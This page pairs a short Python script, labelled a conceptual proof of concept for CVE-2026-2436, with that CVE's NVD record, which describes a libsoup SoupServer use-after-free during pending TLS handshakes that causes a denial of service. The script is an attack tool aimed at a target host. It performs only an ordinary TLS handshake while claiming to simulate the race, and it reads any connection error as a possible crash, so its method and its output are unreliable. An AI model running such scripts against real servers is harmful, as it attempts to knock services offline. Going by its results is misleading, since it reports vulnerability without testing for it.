CVE-2026-2436

import socket import ssl import time # Conceptual Proof of Concept for CVE-2026-2436 # This script attempts to trigger the race condition in libsoup SoupServer # by initiating a TLS connection and manipulating the handshake timing. def exploit_poc(target_ip, target_port): print(f"[*] Targeting {target_ip}:{target_port}") # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: # Establish TCP connection sock.connect((target_ip, target_port)) print("[+] TCP Connection established") # Wrap socket with SSL/TLS context # We use do_handshake_on_connect=False to control the timing manually context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE secure_sock = context.wrap_socket(sock, do_handshake_on_connect=False) # Simulate the race condition: # The server might process a disconnect or timeout while the handshake is pending, # causing soup_server_disconnect() to free the connection object. # If the handshake completes afterwards, the UAF is triggered. print("[*] Initiating TLS handshake (simulated race)...") try: secure_sock.do_handshake() except ssl.SSLError as e: print(f"[!] Handshake error (expected in some race scenarios): {e}") except Exception as e: print(f"[!] Connection error (Server may have crashed): {e}") return True print("[!] Handshake completed. Server might not be vulnerable or timing was off.") return False except Exception as e: print(f"[-] Exploit failed: {e}") return False finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit_poc("127.0.0.1", 443)

{"cve": {"id": "CVE-2026-2436", "sourceIdentifier": "[email protected]", "published": "2026-03-26T20:16:11.720", "lastModified": "2026-04-21T15:48:48.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libsoup's SoupServer. A remote attacker could exploit a use-after-free vulnerability where the `soup_server_disconnect()` function frees connection objects prematurely, even if a TLS handshake is still pending. If the handshake completes after the connection object has been freed, a dangling pointer is accessed, leading to a server crash and a Denial of Service."}, {"lang": "es", "value": "Se encontró un defecto en el SoupServer de libsoup. Un atacante remoto podría explotar una vulnerabilidad de uso después de liberación donde la función 'soup_server_disconnect()' libera objetos de conexión prematuramente, incluso si un handshake TLS todavía está pendiente. Si el handshake se completa después de que el objeto de conexión ha sido liberado, se accede a un puntero colgante, lo que lleva a un fallo del servidor y a una denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:libsoup:-:*:*:*:*:*:*:*", "matchCriteriaId": "C5BAC4F4-3ACD-4F4D-920C-F920FD2C5472"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-2436", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442909", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/501", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}